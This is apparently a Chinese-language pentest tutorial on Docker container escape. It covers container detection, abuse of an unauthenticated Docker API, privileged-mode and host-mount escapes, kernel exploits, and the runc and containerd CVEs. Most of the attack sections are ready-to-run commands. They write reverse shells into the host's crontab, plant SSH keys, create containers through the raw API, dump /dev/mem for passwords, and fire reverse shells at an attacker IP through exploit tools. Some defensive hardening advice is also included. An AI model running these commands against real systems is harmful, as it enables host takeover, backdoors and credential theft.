Docker Escape

Docker Escape
TakakeDocker Escape
0.容器环境确认
获得到一个shell之后我们首先需要判断的是当前是否处于容器环境中,否则后续的一切渗透可能都将会受阻。
那么如何判断?
以下是判断当前环境是否为容器环境的常见方法,适用于 Docker、LXC 等容器环境:
1. 检查 /proc/1/cgroup
文件
容器环境的进程控制组(cgroup)信息通常包含 docker
、kubepods
(Kubernetes)等标识。
命令:
1 | cat /proc/1/cgroup |
判断依据:
- 如果输出中包含
/docker/
、/lxc/
或kubepods
等关键字,则为容器环境。 - 物理机或虚拟机通常显示
/
或系统默认的层级(如systemd
)。
2. 检查 /.dockerenv
文件
Docker 容器启动时会在根目录生成此文件(其他容器如 LXC 无此文件)。
命令:
1 | ls -l /.dockerenv |
判断依据:
若文件存在,则极可能是 Docker 容器环境。
3. 检查 /proc/mounts
中的挂载信息
容器中挂载的文件系统通常包含 overlay
(Docker 默认存储驱动)或 aufs
。
命令:
1 | cat /proc/mounts | grep -E "overlay|aufs" |
判断依据:
若存在 overlay
或 aufs
挂载项,则可能是容器环境。
4. 检查进程数量
容器内通常只运行少量关键进程(如 PID 1
为业务进程),而物理机或虚拟机进程数量较多。
命令:
1 | ps -ef | wc -l |
判断依据:
若进程数量极少(如少于 10 个),可能是容器环境(但需结合其他方法验证)。
5. 检查虚拟化类型(systemd-detect-virt
)
通过检测虚拟化工具类型判断环境。
命令:
1 | systemd-detect-virt |
判断依据:
- 容器环境可能返回
docker
、lxc
或podman
。 - 物理机通常返回
none
,虚拟机返回kvm
、vmware
等。
6. 检查设备文件
容器环境可能缺少物理机常见的硬件设备(如磁盘、USB 控制器)。
命令:
1 | ls -l /dev/sd* # 查看磁盘设备(容器通常无额外磁盘) |
7. 检查内核版本与宿主机是否一致
容器通常与宿主机共享内核,但某些环境(如 User Mode Linux
)可能不同。
命令:
1 | uname -a |
判断依据:
如果内核版本与预期宿主机版本一致,但当前环境功能受限,可能是容器。
8. 检查环境变量
容器启动时可能注入特定的环境变量(如 KUBERNETES_SERVICE_HOST
)。
命令:
1 | env | grep -E "DOCKER|KUBERNETES|CONTAINER" |
9. 检查网络接口
容器通常存在虚拟网卡(如 eth0
),且 IP 地址为内网段(如 172.17.x.x
)。
命令:
1 | ip a | grep eth0 |
10. 尝试访问宿主机资源
如果怀疑是容器,可尝试探测宿主机网络(需容器有权限):
1 | # 查看宿主机 IP(通常为网关) |
自动化检测脚本示例
1 |
|
注意事项
- 没有绝对可靠的方法:某些高度定制的容器可能隐藏特征(如删除
/.dockerenv
)。 - 综合判断:需结合多种检测结果提高准确性。
- 防御方对抗:安全加固的容器可能故意混淆这些特征(如使用
--security-opt seccomp=unconfined
)。
一、Docker Swarm remote api 未授权访问逃逸技术
1. 漏洞原理
Docker Remote API 是 Docker 守护进程(Dockerd)提供的 REST 接口,默认绑定在 2375
端口(HTTP)或 2376
端口(HTTPS)。当管理员错误配置 Docker Swarm 集群时,可能将 API 暴露在公网(如绑定 0.0.0.0:2375
),导致攻击者可绕过认证直接控制 Docker 服务。通过 API 创建特权容器或挂载宿主机敏感目录,可实现容器逃逸并获取宿主机权限。
Docker Swarm 环境搭建
1 | # 在docker.service的ExecStart启动项中增加"-H tcp://0.0.0.0:2375" |
2. 漏洞检测
(1) 端口扫描
检查目标是否开放
2375
端口:1
nmap -p2375 <target_ip>
(2) API 探测
通过 HTTP 请求验证是否存在未授权访问:
1
2
3curl http://<target_ip>:2375/containers/json # docker服务器上运行的docker容器列表,以及容器的配置信息
curl http://<target_ip>:2375/version # 返回 Docker 版本信息则存在漏洞
curl http://<target_ip>:2375/info | grep DockerRootDir # 获取宿主机 Docker 根目录路径
(3) Docker 客户端验证
使用 Docker 客户端直接连接远程 API:
1
docker -H tcp://<target_ip>:2375 ps # 列出容器信息(无需认证)
3. 漏洞利用
(1) 创建特权容器挂载宿主机目录
步骤:
- 通过 API 创建容器并挂载宿主机根目录到容器内:
1
docker -H tcp://<target_ip>:2375 run -it -v /:/mnt alpine:latest /bin/sh
- 在容器内修改宿主机文件(如写入定时任务或 SSH 公钥):
1
2
3
4# 写入反弹 Shell 到宿主机 crontab
echo "* * * * * root bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" >> /mnt/etc/crontab
# 或写入 SSH 公钥到宿主机 root 用户
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /mnt/root/.ssh/authorized_keys- 攻击机监听反弹 Shell 或通过 SSH 登录宿主机46。
(2) 直接操作 Docker API
通过 HTTP 请求创建恶意容器:
1
2
3
4
5
6
7# 创建挂载宿主机目录的容器
curl -X POST -H "Content-Type: application/json" \
-d '{"Image":"alpine:latest", "Cmd":["/bin/sh"], "Volumes":{"/host": {}}, "HostConfig":{"Binds":["/:/host"]}}' \
http://<target_ip>:2375/containers/create
# 启动容器并执行命令
curl -X POST http://<target_ip>:2375/containers/<container_id>/start
二、特权模式(Privileged Mode)逃逸
特权模式(Privileged Mode)逃逸技术详解
1. 特权模式的定义与作用
当容器以 --privileged
模式启动时,Docker 会赋予容器 所有 Linux Capabilities,并解除设备访问限制。这意味着:
- 容器内进程拥有与宿主机 root 用户几乎等同的权限。
- 容器可以直接访问宿主机所有设备(如
/dev/sda1
、/dev/tty0
等)。 - 允许执行需要高权限的操作,如加载内核模块、修改内核参数、挂载文件系统等。
2. 逃逸的核心原理
特权模式的容器突破了默认的隔离机制,攻击者可利用以下路径逃逸:
- 挂载宿主机文件系统:通过挂载宿主机磁盘,直接修改敏感文件(如 SSH 密钥、cron 任务)。
- 内核操作:利用内核功能或漏洞(如 Dirty COW)提权到宿主机。
- 设备访问:直接读写宿主机硬件设备(如内存、磁盘)。
3. 检测是否处于特权容器
(1) 检查 Capabilities
1 | cat /proc/self/status | grep CapEff |
- 特权容器:
CapEff
值为0000003fffffffff
或0000001fffffffff
(所有能力开启)。 - 普通容器:Capabilities 受限(如
00000000a80425fb
)。
(2) 查看挂载的设备
1 | mount | grep /dev |
- 特权容器可能挂载
/dev/sda1
、/dev/mem
等宿主机设备。
4. 典型利用步骤与示例
(1) 挂载宿主机根目录逃逸
场景:攻击者通过特权容器挂载宿主机根目录,直接修改文件系统。
步骤:
启动特权容器:
1
docker run -it --privileged ubuntu /bin/bash
查看宿主机磁盘设备:
1
2
3
4# 在容器内查看磁盘设备(通常为 /dev/sda1 或 /dev/vda1) 如果没有权限也没有关系能里出来就行
# 如果没有fdisk 命令那么就只能遍历了
fdisk -l
df -h
宿主机的显示
1 | Disk /dev/sda:80 GiB,85899345920 字节,167772160 个扇区 |
挂载宿主机根目录到容器内:
1
2mkdir /host
mount /dev/sda1 /host # 挂载宿主机磁盘到容器内的 /host 目录其他方式可能可以使用的方式:
挂载目录后,可以容器的工作目录到/host中
这时可以直接执行useradd命令添加宿主机的用户,甚至可以执行docker的命令,k8s里可以使用kubectl命令
1
chroot /host sh
修改宿主机文件:
1
2
3
4
5# 写入 SSH 公钥到宿主机的 root 用户
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /host/root/.ssh/authorized_keys
# 或写入定时任务反弹 Shell
echo "* * * * * root bash -i >& /dev/tcp/攻击者IP/端口 0>&1" >> /host/etc/crontab使用私钥文件登陆宿主机、或者:
1
2
3
4
5# 使用私钥登录
ssh root@宿主机IP
# 获取定时任务端口监听
nc -lnvp 端口
(2) 利用设备文件读写内存
场景:通过 /dev/mem
或 /dev/kmem
直接读写宿主机内存。
步骤:
在特权容器中访问物理内存:
1
2# 读取宿主机物理内存(需 CAP_SYS_RAWIO 权限)
dd if=/dev/mem of=/tmp/mem.dump bs=1M count=100分析内存提取敏感信息(如密码、密钥):
1
strings /tmp/mem.dump | grep -i "password"
(3)所有可以尝试的方式
- 向宿主机写入公私钥
- 向宿主机写入计划任务
- 向宿主机写入后门用户
- 搜索宿主机上的敏感文件
- 如果宿主机开启 Web 服务,还可以写入 WebShell
5. 防御措施
避免使用特权模式:
- 除非绝对必要,否则禁止使用
--privileged
。 - 替代方案:通过
--cap-add
按需授予特定权限(如CAP_NET_ADMIN
)。
- 除非绝对必要,否则禁止使用
最小化 Capabilities:
1
docker run --cap-drop=ALL --cap-add=必要的权限 ...
限制设备访问:
- 使用
--device
仅允许访问特定设备:1
docker run --device=/dev/ttyUSB0 ...
- 使用
安全加固配置:
- 启用 AppArmor 或 SELinux 限制容器行为。
- 配置 Seccomp 过滤危险系统调用。
文件系统只读挂载:
1
docker run -v /宿主机目录:/容器目录:ro ...
三、挂载宿主机敏感目录
挂载宿主机敏感目录容器逃逸技术详解
1. 漏洞原理
当容器启动时通过 -v
或 --mount
参数挂载宿主机的敏感目录(如根目录 /
、/var/run/docker.sock
、/root
等),攻击者可通过容器内的挂载路径直接读写宿主机文件系统或操作 Docker 服务,从而突破容器隔离,获取宿主机权限。
核心风险点:
- 宿主机文件系统暴露:挂载
/
或/etc
等目录,允许容器内直接修改关键配置文件。 - Docker 控制权泄露:挂载
/var/run/docker.sock
后,容器可通过 Docker API 创建新容器或控制宿主机的容器生命周期。 - 敏感数据泄露:挂载
/root
、/home
等目录可能直接暴露用户敏感文件(如 SSH 密钥、凭据文件)。
2. 常见敏感目录及攻击场景
敏感目录 | 攻击场景 |
---|---|
/ (根目录) |
直接修改宿主机文件(如 /etc/crontab 、/root/.ssh/authorized_keys )。 |
/var/run/docker.sock |
通过 Docker API 创建特权容器挂载宿主机目录,或直接执行宿主机命令。 |
/proc |
修改内核参数(如 core_pattern )触发宿主机代码执行。 |
/sys |
修改系统配置或硬件信息,可能导致拒绝服务或提权。 |
/root 或 /home |
窃取用户 SSH 密钥、历史命令记录(.bash_history )或配置文件。 |
3. 攻击步骤与示例
场景 1:挂载宿主机根目录(/
)逃逸
步骤:
启动容器并挂载宿主机根目录:
1
docker run -it -v /:/host ubuntu /bin/bash
在容器内通过挂载点修改宿主机文件:
1
2
3
4
5# 写入 SSH 公钥到宿主机 root 用户
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /host/root/.ssh/authorized_keys
# 添加定时任务反弹 Shell
echo "* * * * * root bash -i >& /dev/tcp/攻击者IP/端口 0>&1" >> /host/etc/crontab通过 SSH 或定时任务获取宿主机权限:
1
2
3
4
5# 使用私钥登录
ssh root@宿主机IP
# 获取定时任务端口监听
nc -lnvp 端口
场景 2:挂载 Docker Socket(/var/run/docker.sock
)逃逸
步骤:
启动容器并挂载 Docker Socket:
1
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash
在容器内安装 Docker 客户端工具:
1
apt update && apt install docker.io -y
通过 Docker API 创建特权容器挂载宿主机根目录:
1
docker -H unix:///var/run/docker.sock run -it -v /:/host alpine chroot /host sh
在特权容器内执行宿主机命令:
1
echo "恶意操作" > /host/etc/恶意文件
场景 3:挂载 /proc
目录触发代码执行
步骤:
启动容器并挂载 /proc:
1
docker run -it -v /proc:/host_proc ubuntu /bin/bash
修改宿主机的
core_pattern
以触发代码执行:1
echo '|/tmp/exploit' > /host_proc/sys/kernel/core_pattern
在宿主机上触发崩溃生成 Core Dump:
1
2# 在宿主机执行(或在容器内攻击宿主机进程)
kill -SEGV $(pidof 某服务)- 宿主机崩溃时会执行
/tmp/exploit
(需提前植入恶意脚本)。
- 宿主机崩溃时会执行
4. 检测容器是否挂载敏感目录
方法 1:检查容器挂载信息:
1 | # 查看当前容器的挂载点 |
方法 2:检查 Docker 启动命令:
1 | # 查看容器启动参数(需宿主机权限) |
方法 3:自动化检测脚本:
1 |
|
5. 防御措施
禁止挂载敏感目录:
- 避免使用
-v /:/host
或-v /var/run/docker.sock
等高危操作。 - 使用命名卷(Named Volumes)替代直接挂载主机路径。
- 避免使用
最小化挂载权限:
- 若必须挂载,使用只读模式(
ro
):1
docker run -v /宿主机目录:/容器目录:ro ...
- 若必须挂载,使用只读模式(
限制 Docker Socket 访问:
- 禁止容器挂载
/var/run/docker.sock
。 - 若需远程管理 Docker,启用 TLS 认证并限制 IP 访问。
- 禁止容器挂载
安全加固配置:
- 启用 AppArmor 或 SELinux 限制容器文件系统访问。
- 配置 Seccomp 过滤危险系统调用(如
mount
、ptrace
)。
定期审计容器配置:
- 使用工具(如
docker-bench-security
)扫描不安全配置。 - 监控容器挂载点变更和异常文件操作。
- 使用工具(如
6. 实际案例
案例 1:Kubernetes 集群挂载逃逸
攻击者通过挂载hostPath
卷到 Pod 中,修改宿主机/etc/shadow
文件重置 root 密码。案例 2:Docker Socket 滥用
某开发环境因挂载docker.sock
,攻击者在容器内创建新容器并挂载宿主机根目录,窃取 Kubernetes 集群凭证。
四、内核漏洞逃逸
内核漏洞逃逸技术详解
1. 内核漏洞逃逸原理
容器(如 Docker、LXC)依赖于 Linux 内核的 命名空间(Namespaces) 和 控制组(Cgroups) 实现资源隔离。若宿主机内核存在未修复的漏洞,攻击者可在容器内利用漏洞突破隔离,直接控制宿主机系统。此类逃逸不依赖容器配置错误,即使容器以非特权模式运行,也可能成功。
2. 漏洞利用条件
- 内核版本存在已知漏洞(如未修复的 CVE)。
- 容器具备执行漏洞利用程序的条件:
- 允许执行自定义二进制文件(如未限制
exec
)。 - 具备必要的 Capabilities(如
CAP_SYS_ADMIN
、CAP_SYS_PTRACE
)。
- 允许执行自定义二进制文件(如未限制
- 漏洞利用代码(Exploit)适配当前内核环境。
3. 典型内核漏洞与利用场景
(1) Dirty COW(CVE-2016-5195)
- 漏洞类型:竞争条件漏洞(Copy-On-Write 机制缺陷)。
- 影响范围:Linux 内核 2.6.22 ~ 4.8.3。
- 利用效果:通过修改只读内存页提权到宿主机 root。
- 利用步骤:
- 在容器内下载并编译 Exploit(如 dirtycow-docker-vdso:
1
2
3git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso
make - 执行 Exploit 获取宿主机 root Shell:
1
./0xdeadbeef
- 在容器内下载并编译 Exploit(如 dirtycow-docker-vdso:
(2) CVE-2022-0185(文件系统挂载逃逸)
- 漏洞类型:Linux 内核
fsconfig
堆溢出漏洞。 - 影响范围:Linux 内核 5.1~5.16.2。
- 利用效果:通过创建恶意挂载命名空间实现容器逃逸。
- 利用步骤:
- 在容器内编译并运行 Exploit(如 CVE-2022-0185:
1
2# 编译 Exploit
gcc -o exploit exploit.c - 执行 Exploit 创建特权进程:
1
./exploit
- 在容器内编译并运行 Exploit(如 CVE-2022-0185:
(3) CVE-2021-4034(Polkit 提权)
- 漏洞类型:Polkit 的
pkexec
组件本地提权漏洞。 - 影响范围:Linux 系统未更新
polkit
的版本。 - 利用效果:在容器内获取宿主机 root 权限(需容器与宿主机共享用户命名空间)。
- 利用步骤:
- 下载并运行 Exploit(如 CVE-2021-4034:
1
2make
./cve-2021-4034
- 下载并运行 Exploit(如 CVE-2021-4034:
4. 漏洞利用流程
信息收集:
- 查看内核版本:
uname -a
- 检查 Capabilities:
cat /proc/self/status | grep CapEff
- 确认 Exploit 适配性(如架构、内核补丁状态)。
- 查看内核版本:
漏洞验证:
- 使用公开的 PoC(Proof of Concept)代码测试漏洞是否存在。
编译与执行 Exploit:
- 在容器内上传或下载 Exploit 代码。
- 编译并运行(需确保容器内具备编译环境,如
gcc
、make
)。
提权后操作:
- 写入 SSH 密钥、反弹 Shell 或直接操作宿主机文件系统。
5. 检测内核漏洞
1 | # 查看内核版本 |
五、其他CVE逃逸漏洞
以下是近年来公开的主要容器逃逸漏洞及技术分类,结合影响范围和利用原理进行总结:
一、容器组件漏洞
1. runc 相关漏洞
CVE-2024-21626(Leaky Vessels)
- 影响版本:runc 1.0.0-rc93 至 1.1.11
- 原理:由于文件描述符泄漏,攻击者可通过构造恶意容器镜像或利用
runc exec
命令,使容器进程访问宿主机文件系统,覆盖宿主机二进制文件实现逃逸。 - 利用场景:攻击者通过挂载
/proc/self/fd/
目录,绕过隔离访问宿主机根目录。
CVE-2019-5736(runc 容器逃逸)
- 影响版本:runc ≤1.0-rc6,Docker ≤18.09.2
- 原理:通过覆盖宿主机上的
runc
二进制文件,当管理员执行docker exec
时触发恶意代码执行。 - 利用条件:需容器内用户权限,且宿主机管理员执行容器操作。
CVE-2019-16884
- 影响版本:runc ≤1.0.0-rc8
- 原理:容器内进程可通过特定操作突破命名空间隔离,访问宿主机资源。
2. BuildKit 相关漏洞(Leaky Vessels 系列)
- CVE-2024-23651
- CVSS 8.7:BuildKit ≤0.12.4 中,恶意构建步骤通过共享缓存挂载引发竞争条件,访问宿主机文件。
- CVE-2024-23652
- CVSS 10.0:恶意 Dockerfile 利用
RUN --mount
参数删除宿主机文件。
- CVSS 10.0:恶意 Dockerfile 利用
- CVE-2024-23653
- CVSS 9.8:BuildKit API 权限检查不严,允许以提升的权限运行容器。
3. containerd 相关漏洞
- CVE-2020-15257
- 影响版本:containerd <1.3.9 或 1.4.0~1.4.2
- 原理:当容器以
--net=host
共享宿主机网络命名空间时,攻击者通过containerd-shim
API 控制宿主机容器。
二、CVE-2019-5736 漏洞复现流程
以下是 CVE-2019-5736 漏洞的利用流程详解,结合漏洞原理及复现步骤:
1. 漏洞原理
该漏洞源于容器运行时组件 runc(Docker、containerd 等底层依赖),攻击者可通过容器内进程访问宿主机的 /proc/[runc-PID]/exe
文件描述符,覆盖宿主机上的 runc
二进制文件。当管理员执行 docker exec
或容器启动时,触发恶意代码执行,从而以宿主机 root 权限逃逸容器环境。
核心条件:
- 影响版本:Docker ≤18.09.2 或 runc ≤1.0-rc6。
- 权限要求:容器内需具备 root 权限。
2. 漏洞利用流程
(1) 环境准备
搭建漏洞环境:
- 安装未修复的 Docker 版本(如 18.03.1):
1
yum install docker-ce-18.03.1.ce
- 确认 runc 版本 ≤1.0-rc6。
- 安装未修复的 Docker 版本(如 18.03.1):
启动容器:
1
docker run -it --name vuln_container ubuntu /bin/bash
(2) 生成 Payload
- 下载 PoC 代码(如 GitHub/Frichetten/CVE-2019-5736-PoC)。
- 修改 Payload:
- 将 PoC 中的命令替换为反弹 Shell 或其他恶意指令(例如
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
)。
- 将 PoC 中的命令替换为反弹 Shell 或其他恶意指令(例如
- 编译生成可执行文件(需 Go 环境):
1
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
(3) 上传 Payload 至容器
- 复制 Payload 到容器内:
1
docker cp main vuln_container:/tmp/
(4) 执行攻击
在容器内运行 Payload:
1
chmod +x /tmp/main && /tmp/main
- Payload 会持续监听
/proc
目录,等待宿主机执行docker exec
。
- Payload 会持续监听
触发漏洞:
- 管理员在宿主机执行
docker exec
命令(如进入容器):1
docker exec -it vuln_container /bin/sh
- 此时,容器内的 Payload 会通过
/proc/[runc-PID]/exe
覆盖宿主机runc
文件。
- 管理员在宿主机执行
(5) 获取宿主机权限
- 反弹 Shell:攻击机监听指定端口,获得宿主机 root 权限的 Shell。
- 任意命令执行:覆盖后的
runc
会在后续容器操作中执行攻击者预设的命令。
3. 关键步骤解析
覆盖 runc 文件:
- 容器内通过
/proc
访问宿主机的runc
进程文件描述符,以写入恶意代码。 - 利用 Linux 的
memfd_create
机制绕过文件路径限制。
- 容器内通过
触发机制:
docker exec
操作会调用runc
进入容器命名空间,此时容器内进程可捕获runc
的 PID。
三、CVE-2020-15257 漏洞复现流程
以下是 CVE-2020-15257 漏洞的利用流程详解,结合漏洞原理及复现步骤:
1. 漏洞背景与原理
- 漏洞组件:Containerd(Docker 的容器运行时组件),通过其子组件
containerd-shim
暴露的抽象 Unix 域套接字(Abstract Unix Domain Socket)实现容器管理。 - 触发条件:
- 容器以
--net=host
(共享宿主机网络命名空间) 启动。 - 容器内进程以 Root 用户(UID 0) 运行。
- Containerd 版本 ≤1.3.9 或 ≤1.4.3。
- 容器以
- 漏洞本质:攻击者可通过共享的网络命名空间访问宿主机上的
containerd-shim
套接字,调用其 API 创建新容器或执行命令,实现容器逃逸。
2. 漏洞利用流程
步骤 1:搭建漏洞环境
- 安装有漏洞的 Containerd 版本(如 Docker Engine ≤19.03.6):
1
sudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
- 以 Host 模式启动容器:
1
sudo docker run -itd --net=host --name vulnerable_container ubuntu:18.04 /bin/bash
步骤 2:检测漏洞存在性
- 查看抽象 Unix 套接字(容器内执行):
1
cat /proc/net/unix | grep 'containerd-shim' | grep '@'
- 若输出类似
@/containerd-shim/moby/[哈希]/shim.sock
,则存在漏洞。
- 若输出类似
步骤 3:利用漏洞逃逸
下载并上传利用工具(如 CDK):
1
2
3
4
5# 下载 CDK(容器渗透工具包)
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz
# 将工具复制到容器内
docker cp cdk_linux_amd64 vulnerable_container:/tmp/在容器内执行 Exploit:
1
2
3
4# 进入容器
docker exec -it vulnerable_container /bin/bash
# 执行 CDK 反弹 Shell
./cdk_linux_amd64 run shim-pwn <攻击机IP> <监听端口>- 攻击机监听端口:
1
nc -lvp <监听端口>
- 成功时,攻击机会收到宿主机的 Shell,实现逃逸。
- 攻击机监听端口:
3. 漏洞原理细节
- 抽象套接字暴露:
containerd-shim
通过抽象 Unix 域套接字(以@
开头)与 Containerd 通信。当容器共享宿主机网络命名空间时,攻击者可扫描/proc/net/unix
获取套接字路径。 - API 滥用:通过套接字调用
containerd-shim
的 API(如创建新容器、挂载宿主机根目录),绕过隔离机制。
4. 实际影响与案例
- 攻击场景:攻击者可利用该漏洞在云原生环境中横向移动,控制宿主机及集群内其他容器。
- 案例:未修复的 Kubernetes 集群中,恶意容器通过 Host 网络逃逸,窃取敏感数据或部署后门。
四、总结与对比
- Docker 架构中的角色:
- BuildKit:构建镜像,生成符合 OCI 标准的镜像文件。
- containerd:管理镜像和容器生命周期,调用 runc 执行容器。
- runc:实际创建容器进程,实现内核级隔离。
- Kubernetes 中的调用链:
- Kubelet → containerd → runc:Kubernetes 通过 CRI 接口调用 containerd,containerd 通过 runc 运行容器6。
- 独立使用场景:
- 仅需 runc:手动创建容器(需准备 rootfs 和配置文件)。
- 仅需 containerd:轻量级容器管理(无需 Docker 的复杂功能)。
- 仅需 BuildKit:高效构建镜像(如集成到 CI 工具链)。
组件 | 定位 | 核心功能 | 依赖关系 |
---|---|---|---|
runc | 底层运行时工具 | 容器进程创建与资源隔离 | 独立运行,被 containerd 调用 |
containerd | 容器运行时管理器 | 镜像管理、容器生命周期 | 依赖 runc 执行容器 |
BuildKit | 镜像构建工具 | 高效构建与缓存管理 | 可选依赖 containerd/runc |
- runc:主要风险来自文件描述符泄漏和二进制覆盖(如 CVE-2019-5736 和 CVE-2024-21626)。
- BuildKit:构建阶段的竞态条件、权限缺陷和文件操作漏洞是逃逸核心(如 CVE-2024-23651~23653)。
- containerd:共享网络命名空间导致 API 滥用(如 CVE-2020-15257)。